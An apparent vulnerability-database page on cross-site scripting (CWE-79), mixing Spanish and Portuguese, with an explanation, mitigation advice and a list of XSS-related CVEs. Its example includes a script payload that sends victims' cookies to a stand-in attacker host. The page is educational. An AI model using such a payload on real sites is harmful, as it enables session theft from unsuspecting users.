Fallos del tipo CWE-79

29.596 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-34089LOWMemory leak in Scribunto causes runJobs.php to run out of memoryEPSS 0.4%CVE-2023-2325HIGHStored XSS Vulnerability in M-Files Classic WebEPSS 0.4%CVE-2024-26124MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2022-46369MEDIUMRumpus - FTP server Persistent cross-site scripting (PXSS) – Unspecified vectorEPSS 0.4%CVE-2024-26035MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-0800MEDIUMSourceCodester Online Courseware Edit Teacher saveeditt.php cross site scriptingEPSS 0.4%CVE-2023-49493MEDIUMDedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the v parameter at selectimages.php.EPSS 0.4%CVE-2024-21732MEDIUMFlyCms through abbaa5a allows XSS via the permission management feature.EPSS 0.4%CVE-2024-26120MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26103MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2024-26104MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2024-26107MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2025-31028HIGHWordPress WP Hide Categories plugin <= 1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2026-76002MEDIUMColdFusion | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2026-4069MEDIUMAlfie – Feed Plugin <= 1.2.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting via 'naam' ParameterEPSS 0.4%CVE-2024-26043MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26080MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-26040MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-26096MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-31021HIGHWordPress Mobile Smart plugin <= v1.3.16 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%